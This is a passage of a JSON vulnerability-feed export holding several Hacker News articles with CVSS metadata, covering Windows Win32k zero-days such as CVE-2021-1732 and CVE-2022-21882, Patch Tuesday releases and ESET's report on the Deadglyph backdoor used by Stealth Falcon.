"CVE-2021-1732", "CVE-2021-28310"], "modified": "2022-05-12T01:27:46", "id": "THN:75586AE52D0AAF674F942498C96A2F6A", "href": "https://thehackernews.com/2022/05/bitter-apt-hackers-add-bangladesh-to.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:35", "description": "[![Windows Vulnerability](https://thehackernews.com/new-images/img/a/AVvXsEhOB2VqcpzvIvbqWJmlBkCMLbnUxk3Z5xT2z3m3Gq-YuuBlN_NqdLRsokokD3U-FEY86UgsPht9jJl64elkaTldrF5sP92LWMSa6SiRtCYAh531p1yOcpxfIcK7KxbUiT4AcuUBJjXXV-KoHFwXcRxhZiXlPt_nDcSDmlAdw1IQJzBJ_AKFxIs-zvlV=s728-e1000)](<https://thehackernews.com/new-images/img/a/AVvXsEhOB2VqcpzvIvbqWJmlBkCMLbnUxk3Z5xT2z3m3Gq-YuuBlN_NqdLRsokokD3U-FEY86UgsPht9jJl64elkaTldrF5sP92LWMSa6SiRtCYAh531p1yOcpxfIcK7KxbUiT4AcuUBJjXXV-KoHFwXcRxhZiXlPt_nDcSDmlAdw1IQJzBJ_AKFxIs-zvlV>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) is urging federal agencies to secure their systems against an actively exploited security vulnerability in Windows that could be abused to gain elevated permissions on affected hosts.\n\nTo that end, the agency has added [CVE-2022-21882](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21882>) (CVSS score: 7.0) to the [Known Exploited Vulnerabilities Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>), necessitating that Federal Civilian Executive Branch (FCEB) agencies patch all systems against this vulnerability by February 18, 2022.\n\n\"These types of vulnerabilities are a frequent attack vector for malicious cyber actors of all types and pose significant risk to the federal enterprise,\" CISA [said](<https://www.cisa.gov/uscert/ncas/current-activity/2022/02/04/cisa-adds-one-known-exploited-vulnerability-catalog>) in an advisory published last week.\n\n[![Windows Vulnerability Exploit](https://thehackernews.com/new-images/img/a/AVvXsEi_i5GcfQrAT38f9axbzmFO-Sp4pa-68-q21bq9ALE0pr3rtd7YlA1XdpzF_M0ipJE_4ckPGcdP2bX7xhUeQIbU_JpRuDg5QbRJrTDOpgnI3EmoXugjloJtH_JOaWEeDDLiPE54NUuVokjdewdmpU6RxL1iBbRgZKIod0B73dVQnznjvTQNCy2MQ0sf=s728-e1000)](<https://thehackernews.com/new-images/img/a/AVvXsEi_i5GcfQrAT38f9axbzmFO-Sp4pa-68-q21bq9ALE0pr3rtd7YlA1XdpzF_M0ipJE_4ckPGcdP2bX7xhUeQIbU_JpRuDg5QbRJrTDOpgnI3EmoXugjloJtH_JOaWEeDDLiPE54NUuVokjdewdmpU6RxL1iBbRgZKIod0B73dVQnznjvTQNCy2MQ0sf>)\n\n[CVE-2022-21882](<https://github.com/L4ys/CVE-2022-21882>), which has been tagged with an \"Exploitation More Likely\" exploitability index assessment, concerns a case of elevation of privilege vulnerability affecting the Win32k component. The bug was addressed by Microsoft as part of its January 2022 [Patch Tuesday](<https://thehackernews.com/2022/01/first-patch-tuesday-of-2022-brings-fix.html>) updates.\n\n\"A local, authenticated attacker could gain elevated local system or administrator privileges through a vulnerability in the Win32k.sys driver,\" the Windows maker said. The flaw impacts Windows 10, Windows 11, Windows Server 2019, and Windows server 2022.\n\nIt's worth noting that the [security vulnerability](<https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2022/CVE-2022-21882.html>) is also a [bypass](<https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1732.html>) for another escalation of privilege flaw in the same module ([CVE-2021-1732](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732>), CVSS score: 7.8) that Microsoft resolved in [February 2021](<https://thehackernews.com/2021/02/microsoft-issues-patches-for-in-wild-0.html>) and has since been detected in [exploits in the wild](<https://www.cisa.gov/uscert/ncas/current-activity/2021/02/09/microsoft-warns-windows-win32k-privilege-escalation>).\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-02-07T05:03:00", "type": "thn", "title": "CISA Orders Federal Agencies to Patch Actively Exploited Windows Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732", "CVE-2022-21882"], "modified": "2022-02-07T05:03:44", "id": "THN:012EBB2FE2687F178FBCC3AB8ABEF778", "href": "https://thehackernews.com/2022/02/cisa-orders-federal-agencies-to-patch.html", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-09-23T12:36:31", "description": "[![]()](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEguwXgDt_lOiWompL5xREYwWjdhqUV-I4EHXDufr8Iqc4A0eyQ-Zvrv7gGpSga63J_7M0VBsE02WIBvEffXGW8jWfWcy6evfYEK6bFAr3mgKs0sqfygggnbhzu-3Z90cW3WON7QSFhNuAcSJTqDkQN4PdRDJ_YP5vUgFipBOX_UoWPNDWAm344lLq5MVJVo/s728-e365/hacking.jpg>)\n\nCybersecurity researchers have discovered a previously undocumented advanced backdoor dubbed **Deadglyph** employed by a threat actor known as Stealth Falcon as part of a cyber espionage campaign.\n\n\"Deadglyph's architecture is unusual as it consists of cooperating components \u2013 one a native x64 binary, the other a .NET assembly,\" ESET [said](<https://www.welivesecurity.com/en/eset-research/stealth-falcon-preying-middle-eastern-skies-deadglyph/>) in a [new report](<https://www.labscon.io/speakers/filip-jurcacko/>) shared with The Hacker News.\n\n\"This combination is unusual because malware typically uses only one programming language for its components. This difference might indicate separate development of those two components while also taking advantage of unique features of the distinct programming languages they utilize.\"\n\nIt's also suspected that the use of different programming languages is a deliberate tactic to hinder analysis, making it a lot more challenging to navigate and debug.\n\nUnlike other traditional backdoors of its kind, the commands are received from an actor-controlled server in the form of additional modules that allow it to create new processes, read files, and collect information from the compromised systems.\n\nStealth Falcon (aka FruityArmor) was [first exposed](<https://citizenlab.ca/2016/05/stealth-falcon/>) by the Citizen Lab in 2016, linking it to a set of targeted spyware attacks in the Middle East aimed at journalists, activists, and dissidents in the U.A.E. using spear-phishing lures embedding booby-trapped links pointing to macro-laced documents to deliver a custom implant capable of executing arbitrary commands.\n\n[![Cybersecurity]()](<https://thn.news/o6a5Vxgy> \"Cybersecurity\" )\n\nA subsequent investigation undertaken by Reuters in 2019 revealed a clandestine operation called [Project Raven](<https://thehackernews.com/2021/09/3-former-us-intelligence-officers-admit.html>) that involved a group of former U.S. intelligence operatives who were recruited by a cybersecurity firm named DarkMatter to spy on targets critical of the Arab monarchy.\n\nStealth Falcon and Project Raven are believed to be the same group based on the overlaps in tactics and targeting.\n\nThe group has since been linked to the zero-day exploitation of Windows flaws such as [CVE-2018-8611](<https://thehackernews.com/2018/12/microsoft-patch-updates.html>) and [CVE-2019-0797](<https://thehackernews.com/2019/03/microsoft-windows-security-updates.html>), with Mandiant [noting in April 2020](<https://www.mandiant.com/resources/blog/zero-day-exploitation-demonstrates-access-to-money-not-skill>) that the espionage actor \"used more zero-days than any other group\" from 2016 to 2019. \n\nAround the same time, ESET [detailed](<https://thehackernews.com/2019/09/stealthfalcon-virus-windows-bits.html>) the adversary's use of a backdoor named Win32/StealthFalcon that was found to use the Windows Background Intelligent Transfer Service (BITS) for command-and-control (C2) communications and to gain complete control of an endpoint.\n\nDeadglyph is the latest addition to Stealth Falcon's arsenal, according to the Slovak cybersecurity firm, which analyzed an intrusion at an unnamed governmental entity in the Middle East.\n\nThe exact method used to deliver the implant is currently unknown, but the initial component that activates its execution is a shellcode loader that extracts and loads shellcode from the Windows Registry, which subsequently launches Deadglyph's native x64 module, referred to as the Executor.\n\nThe Executor then proceeds with loading a .NET component known as the Orchestrator that, in turn, communicates with the command-and-control (C2) server to await further instructions. The malware also engages in a series of evasive maneuvers to fly under the radar, counting the ability to uninstall itself.\n\nThe commands received from the server are queued for execution and can fall into one of three categories: Orchestrator tasks, Executor tasks, and Upload tasks.\n\n\"Executor tasks offer the ability to manage the backdoor and execute additional modules,\" ESET said. \"Orchestrator tasks offer the ability to manage the configuration of the Network and Timer modules, and also to cancel pending tasks.\"\n\nUPCOMING WEBINAR\n\n[AI vs. AI: Harnessing AI Defenses Against AI-Powered Risks\n\n](<https://thehacker.news/ai-cyberattacks?source=inside>)\n\nReady to tackle new AI-driven cybersecurity challenges? Join our insightful webinar with Zscaler to address the growing threat of generative AI in cybersecurity.\n\n[Supercharge Your Skills](<https://thehacker.news/ai-cyberattacks?source=inside>)\n\nSome of the identified Executor tasks comprise process creation, file access, and system metadata collection. The Timer module is used to poll the C2 server periodically in combination with the Network module, which implements the C2 communications using HTTPS POST requests.\n\nUpload tasks, as the name implies, allow the backdoor to upload the output of commands and errors.\n\nESET said it also identified a control panel ([CPL](<https://support.microsoft.com/en-gb/topic/description-of-control-panel-cpl-files-4dc809cd-5063-6c6d-3bee-d3f18b2e0176>)) file that was uploaded to VirusTotal from Qatar, which is said to have functioned as a starting point for a multi-stage chain that paves the way for a shellcode downloader that shares some code resemblances with Deadglyph.\n\nWhile the nature of the shellcode retrieved from the C2 server remains unclear, it has been theorized that the content could potentially serve as the installer for the Deadglyph malware.\n\nDeadglyph gets its name from artifacts found in the backdoor (hexadecimal IDs 0xDEADB001 and 0xDEADB101 for the Timer module and its configuration), coupled with the presence of a homoglyph attack impersonating Microsoft (\"\u03faicr\u043es\u043eft Corp\u043erati\u043en\") in the Registry shellcode loader's [VERSIONINFO resource](<https://learn.microsoft.com/en-us/windows/win32/menurc/versioninfo-resource>).\n\n\"Deadglyph boasts a range of counter-detection mechanisms, including continuous monitoring of system processes and the implementation of randomized network patterns,\" the company said. \"Furthermore, the backdoor is capable of uninstalling itself to minimize the likelihood of its detection in certain cases.\"\n\n \n\n\nFound this article interesting? Follow us on [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-09-23T11:10:00", "type": "thn", "title": "Deadglyph: New Advanced Backdoor with Distinctive Malware Tactics", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-8611", "CVE-2019-0797"], "modified": "2023-09-23T12:03:48", "id": "THN:F6D341BC7C27B63381F2A01AAE7C9FFA", "href": "https://thehackernews.com/2023/09/deadglyph-new-advanced-backdoor-with.html", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:38:21", "description": "[![](https://thehackernews.com/images/-YROWoUQuY8Q/YHZ1yLhkJGI/AAAAAAAACQw/rmFTIz73mk81DI0P2vG2MpkxtMrT5jqbgCLcBGAsYHQ/s0/windows-update-smb-flaw.jpg)](<https://thehackernews.com/images/-YROWoUQuY8Q/YHZ1yLhkJGI/AAAAAAAACQw/rmFTIz73mk81DI0P2vG2MpkxtMrT5jqbgCLcBGAsYHQ/s0/windows-update-smb-flaw.jpg>)\n\nIn its April slate of patches, Microsoft rolled out fixes for a total of [114 security flaws](<https://msrc-blog.microsoft.com/2021/04/13/april-2021-update-tuesday-packages-now-available/>), including an actively exploited zero-day and four remote code execution bugs in Exchange Server.\n\nOf the [114 flaws](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Apr>), 19 are rated as Critical, 88 are rated Important, and one is rated Moderate in severity.\n\nChief among them is [CVE-2021-28310](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-28310>), a privilege escalation vulnerability in Win32k that's said to be under active exploitation, allowing attackers to elevate privileges by running malicious code on a target system. \n\nCybersecurity firm Kaspersky, which discovered and reported the flaw to Microsoft in February, linked the zero-day exploit to a threat actor named Bitter APT, which was found exploiting a similar flaw ([CVE-2021-1732](<https://thehackernews.com/2021/02/microsoft-issues-patches-for-in-wild-0.html>)) in attacks late last year.\n\n\"It is an escalation of privilege (EoP) exploit that is likely used together with other browser exploits to escape sandboxes or get system privileges for further access,\" Kaspersky researcher Boris Larin [said](<https://securelist.com/zero-day-vulnerability-in-desktop-window-manager-cve-2021-28310-used-in-the-wild/101898/>).\n\n## NSA Found New Bugs Affecting Exchange Server\n\nAlso fixed by Microsoft are four remote code execution (RCE) flaws (CVE-2021-28480 through CVE-2021-28483) affecting [on-premises Exchange Servers](<https://techcommunity.microsoft.com/t5/exchange-team-blog/released-april-2021-exchange-server-security-updates/ba-p/2254617>) 2013, 2016, and 2019 that were reported to the company by the U.S. National Security Agency (NSA). Two of the code execution bugs are unauthenticated and require no user interaction, and carry a CVSS score of 9.8 out of a maximum of 10.\n\n[![](https://thehackernews.com/images/-8FoY65fokvw/YHZ2L3VP2bI/AAAAAAAACQ4/krAsXabe1VgmdxN0j2h4MtXElmsH8ApJACLcBGAsYHQ/s0/microsoft-exchnage.jpg)](<https://thehackernews.com/images/-8FoY65fokvw/YHZ2L3VP2bI/AAAAAAAACQ4/krAsXabe1VgmdxN0j2h4MtXElmsH8ApJACLcBGAsYHQ/s0/microsoft-exchnage.jpg>)\n\nWhile the Windows maker said it had found no evidence of any active exploits in the wild, it's recommended that customers install these updates as soon as possible to secure the environment, particularly in light of the widespread Exchange Server hacks last month and new findings that attackers are attempting to leverage the [ProxyLogon](<https://thehackernews.com/2021/03/proxylogon-exchange-poc-exploit.html>) exploit to [deploy malicious cryptominers](<https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/>) onto Exchange Servers, with the payload being hosted on a compromised Exchange Server.\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) has also [revised](<https://us-cert.cisa.gov/ncas/current-activity/2021/04/13/apply-microsoft-april-2021-security-update-mitigate-newly>) the emergency directive it issued last month, stating \"these vulnerabilities pose an unacceptable risk to the Federal enterprise and require an immediate and emergency action,\" while cautioning that the underlying flaws can be weaponized by reverse-engineering the patch to create an exploit.\n\nCybersecurity firm Check Point, which has been tracking ongoing cyber threats exploiting the Exchange Server flaws, said a total of 110,407 attacks have been prevented targeting government, manufacturing, finance, healthcare, legal, and insurance industries in the U.S., U.K., Germany, Netherlands, and Brazil.\n\n## FBI Removed Backdoors From Hacked MS Exchange servers\n\nWhat's more, the U.S. Federal Bureau of Investigation (FBI) carried out a \"successful action\" to \"copy and remove\" web shells planted by adversaries on hundreds of victim computers using the ProxyLogon flaws. The FBI is said to have wiped the web shells that were installed by Hafnium that could have been used to maintain and escalate persistent, unauthorized access to U.S. networks.\n\n\"The FBI conducted the removal by issuing a command through the web shell to the server, which was designed to cause the server to delete only the web shell (identified by its unique file path),\" the Justice Department [said](<https://www.justice.gov/usao-sdtx/pr/justice-department-announces-court-authorized-effort-disrupt-exploitation-microsoft>) in a statement detailing the court-authorized operation.\n\n## 27 RCE Flaws in Windows RPC and Other Fixes\n\nMicrosoft also said four additional vulnerabilities were publicly known at the time of release but not exploited \u2014\n\n * CVE-2021-28458 - Azure ms-rest-nodeauth Library Elevation of Privilege Vulnerability\n * CVE-2021-27091 - RPC Endpoint Mapper Service Elevation of Privilege Vulnerability\n * CVE-2021-28437 - Windows Installer Information Disclosure Vulnerability\n * CVE-2021-28312 - Windows NTFS Denial of Service Vulnerability\n\nIn addition, April's Patch Tuesday update also addresses a whopping 27 RCE flaws in Remote Procedure Call (RPC) runtime, a Hyper-V security feature bypass vulnerability (CVE-2021-28444), and multiple privilege escalation flaws in Windows Speech Runtime, Windows Services and Controller App, Windows Secure Kernel Mode, Windows Event Tracing, and Windows Installer.\n\n## Software Patches From Other Vendors\n\nBesides Microsoft, a number of other vendors have also released a slew of patches on Tuesday \u2014\n\n * [Adobe](<https://helpx.adobe.com/security.html>) (security updates for Photoshop, Digital Editions, RoboHelp, and Bridge)\n * [DELL](<https://www.dell.com/support/security/en-in>)\n * Linux distributions [SUSE](<https://lists.suse.com/pipermail/sle-security-updates/2021-April/date.html>), [Oracle Linux](<https://linux.oracle.com/ords/f?p=105:21>), and [Red Hat](<https://access.redhat.com/security/security-updates/#/security-advisories>)\n * [SAP](<https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=573801649>)\n * [Schneider Electric](<https://www.se.com/ww/en/work/support/cybersecurity/overview.jsp>), and\n * [Siemens](<https://new.siemens.com/global/en/products/services/cert.html#SecurityPublications>)\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-04-14T04:58:00", "type": "thn", "title": "NSA Discovers New Vulnerabilities Affecting Microsoft Exchange Servers", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732", "CVE-2021-27091", "CVE-2021-28310", "CVE-2021-28312", "CVE-2021-28437", "CVE-2021-28444", "CVE-2021-28458", "CVE-2021-28480", "CVE-2021-28483"], "modified": "2021-04-15T05:57:31", "id": "THN:F163C7AB35BEF8E28924E14B02752181", "href": "https://thehackernews.com/2021/04/nsa-discovers-new-vulnerabilities.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:57", "description": "[![microsoft windows security updates](https://thehackernews.com/images/-PKdiogHzFeI/XIf0vqexEZI/AAAAAAAAzfs/p4e6mA-R0002aWC4T5QjStHpVJq7nTecACLcBGAs/s728-e100/microsoft-windows-security-updates.jpg)](<https://thehackernews.com/images/-PKdiogHzFeI/XIf0vqexEZI/AAAAAAAAzfs/p4e6mA-R0002aWC4T5QjStHpVJq7nTecACLcBGAs/s728-e100/microsoft-windows-security-updates.jpg>)\n\nIt's time for another batch of \"Patch Tuesday\" updates from Microsoft. \n \nMicrosoft today released its [March 2019 software updates](<https://portal.msrc.microsoft.com/en-us/security-guidance>) to address a total of 64 CVE-listed security vulnerabilities in its Windows operating systems and other products, 17 of which are rated critical, 45 important, one moderate and one low in severity. \n \nThe update addresses flaws in Windows, Internet Explorer, Edge, MS Office, and MS Office SharePoint, ChakraCore, Skype for Business, and Visual Studio NuGet. \n \nFour of the security vulnerabilities, all rated important, patched by the tech giant this month were disclosed publicly, of which none were found exploited in the wild. \n \n\n\n## Microsoft Patches Two Zero-Day Flaws Under Active Attack\n\n \nMicrosoft has also patched two separate zero-day elevation of privilege vulnerabilities in Windows. \n \nBoth flaws, also rated as important, reside in Win32k component that hackers are actively exploiting in the wild, including the one that Google warned of last week. \n \nIf you are unaware, Google last week released a [critical update for Chrome](<https://thehackernews.com/2019/03/update-google-chrome-hack.html>) web browser to address a high-severity flaw (CVE-2019-5786) that attackers found exploiting in combination with a Windows vulnerability ([CVE-2019-0808](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0808>)). \n \nSuccessful exploitation of both flaws together allowed remote attackers to execute arbitrary code on targeted computers running Windows 7 or Server 2008 and take full control of them. \n \nThe second zero-day elevation of privilege vulnerability in Windows, assigned as [CVE-2019-0797](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0797>), that's also being exploited in the wild is similar to the first one but affects Windows 10, 8.1, Server 2012, 2016, and 2019. \n \nThis flaw was detected and reported to Microsoft by security researchers Vasily Berdnikov and Boris Larin of Kaspersky Labs, who in a [blog post](<https://securelist.com/cve-2019-0797-zero-day-vulnerability/89885/>) today revealed that the flaw has actively been exploited in targeted attacks by several threat actors including, FruityArmor and SandCat. \n\n\n> \"CVE-2019-0797 is a race condition that is present in the win32k driver due to a lack of proper synchronization between undocumented syscalls NtDCompositionDiscardFrame and NtDCompositionDestroyConnection,\" the researchers say.\n\n \n\n\n## Update Also Patches 17 Critical and 45 Important Flaws\n\n \nAs expected, almost all of the listed critical-rated vulnerabilities lead to remote code execution attacks and primarily impact various versions of Windows 10 and Server editions. Most of these flaws reside in Chakra Scripting Engine, VBScript Engine, DHCP Client, and IE. \n \nWhile some of the important-rated vulnerabilities also lead to remote code execution attacks, others allow elevation of privilege, information disclosure, and denial of service attacks. \n \nUsers and system administrators are strongly recommended to apply the latest security patches as soon as possible to keep hackers and cybercriminals away from taking control of their systems. \n \nFor installing the latest security patch updates, head on to Settings \u2192 Update & Security \u2192 Windows Update \u2192 Check for updates, on your computer system or you can install the updates manually. \n \n\n\n#### Windows 10 Now Automatically Uninstalls Updates That Cause Problems\n\n \nFor addressing problematic update issues on Windows 10 devices, Microsoft on Monday introduced a safety measure that [automatically uninstalls buggy software](<https://thehackernews.com/2019/03/windows-buggy-updates.html>) updates installed on your system if your operating system detects a startup failure. \n \nSo after installing this month's security update, if you receive the following notification on your device, your Windows 10 computer has been recovered from a startup failure, and the operating system resolved the failure by uninstalling recently installed Windows updates. \n\n\n> \"We removed some recently installed updates to recover your device from a startup failure.\"\n\nWindows 10 will then automatically block installation of that problematic updates for the next 30 days, and will deliver the update again after investigating and fixing the issue. \n \nAdobe also rolled out security updates today to fix just two critical arbitrary code execution [vulnerabilities in Adobe Photoshop CC](<https://thehackernews.com/2019/03/adobe-software-updates.html>) and another in Adobe Digital Editions. Users of the affected Adobe software for Windows and macOS are advised to update their software packages to the latest versions. \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-03-12T18:15:00", "type": "thn", "title": "Microsoft Releases Patches for 64 Flaws \u2014 Two Under Active Attack", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0797", "CVE-2019-0808", "CVE-2019-5786"], "modified": "2019-03-29T17:27:27", "id": "THN:04C2B4D392A1C67EF52FAF0D2CFA9E55", "href": "https://thehackernews.com/2019/03/microsoft-windows-security-updates.html", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:08", "description": "[![](https://thehackernews.com/images/-pOCXw5Vbz4E/YCNjQpEwYHI/AAAAAAAABuA/DON2kef7nngGbrXuKE_q5XlYxFXBjgnbQCLcBGAsYHQ/s0/microsoft-windows-update.jpg)](<https://thehackernews.com/images/-pOCXw5Vbz4E/YCNjQpEwYHI/AAAAAAAABuA/DON2kef7nngGbrXuKE_q5XlYxFXBjgnbQCLcBGAsYHQ/s0/microsoft-windows-update.jpg>)\n\nMicrosoft on Tuesday [issued fixes for 56 flaws](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Feb>), including a critical vulnerability that's known to be actively exploited in the wild.\n\nIn all, 11 are listed as Critical, 43 are listed as Important, and two are listed as Moderate in severity \u2014 six of which are previously disclosed vulnerabilities.\n\nThe updates cover .NET Framework, Azure IoT, Microsoft Dynamics, Microsoft Edge for Android, Microsoft Exchange Server, Microsoft Office, Microsoft Windows Codecs Library, Skype for Business, Visual Studio, Windows Defender, and other core components such as Kernel, TCP/IP, Print Spooler, and Remote Procedure Call (RPC).\n\n### A Windows Win32k Privilege Escalation Vulnerability\n\nThe most critical of the flaws is a Windows Win32k privilege escalation vulnerability (CVE-2021-1732, CVSS score 7.8) that allows attackers with access to a target system to run malicious code with elevated permissions. Microsoft credited JinQuan, MaDongZe, TuXiaoYi, and LiHao of DBAPPSecurity for discovering and reporting the vulnerability.\n\nIn a separate technical write-up, the researchers said a zero-day exploit leveraging the flaw was detected in a \"very limited number of attacks\" against victims located in China by a threat actor named Bitter APT. The attacks were discovered in December 2020.\n\n\"This zero-day is a new vulnerability which caused by win32k callback, it could be used to escape the sandbox of Microsoft [Internet Explorer] browser or Adobe Reader on the latest Windows 10 version,\" DBAPPSecurity researchers [said](<https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/>). \"The vulnerability is high quality and the exploit is sophisticated.\"\n\nIt's worth noting that Adobe, as part of its February patch, [addressed](<https://helpx.adobe.com/security/products/acrobat/apsb21-09.html>) a critical buffer overflow flaw in Adobe Acrobat and Reader for Windows and macOS (CVE-2021-21017) that it said could lead to arbitrary code execution in the context of the current user.\n\nThe company also warned of active exploitation attempts against the bug in the wild in limited attacks targeting Adobe Reader users on Windows, mirroring aforementioned findings from DBAPPSecurity.\n\nWhile neither Microsoft nor Adobe has provided additional details, the concurrent patching of the two flaws raises the possibility that the vulnerabilities are being chained to carry out the in-the-wild attacks.\n\n### Netlogon Enforcement Mode Goes Into Effect\n\nMicrosoft's Patch Tuesday update also resolves a number of remote code execution (RCE) flaws in Windows DNS Server (CVE-2021-24078), .NET Core, and Visual Studio (CVE-2021-26701), Microsoft Windows Codecs Library (CVE-2021-24081), and Fax Service (CVE-2021-1722 and CVE-2021-24077).\n\nThe RCE in Windows DNS server component is rated 9.8 for severity, making it a critical vulnerability that, if left unpatched, could permit an unauthorized adversary to execute arbitrary code and potentially redirect legitimate traffic to malicious servers.\n\nMicrosoft is also taking this month to push second round of fixes for the [Zerologon](<https://thehackernews.com/2020/09/detecting-and-preventing-critical.html>) flaw (CVE-2020-1472) that was originally resolved in August 2020, following which [reports of active exploitation](<https://twitter.com/MsftSecIntel/status/1308941504707063808>) targeting unpatched systems emerged in September 2020.\n\nStarting February 9, the domain controller \"[enforcement mode](<https://msrc-blog.microsoft.com/2021/01/14/netlogon-domain-controller-enforcement-mode-is-enabled-by-default-beginning-with-the-february-9-2021-security-update-related-to-cve-2020-1472/>)\" will be [enabled by default](<https://support.microsoft.com/help/4557222#EnablingEnforcementMode>), thus blocking \"vulnerable [Netlogon] connections from non-compliant devices.\"\n\nIn addition, the Patch Tuesday update rectifies two information disclosure bugs \u2014 one in Edge browser for Android 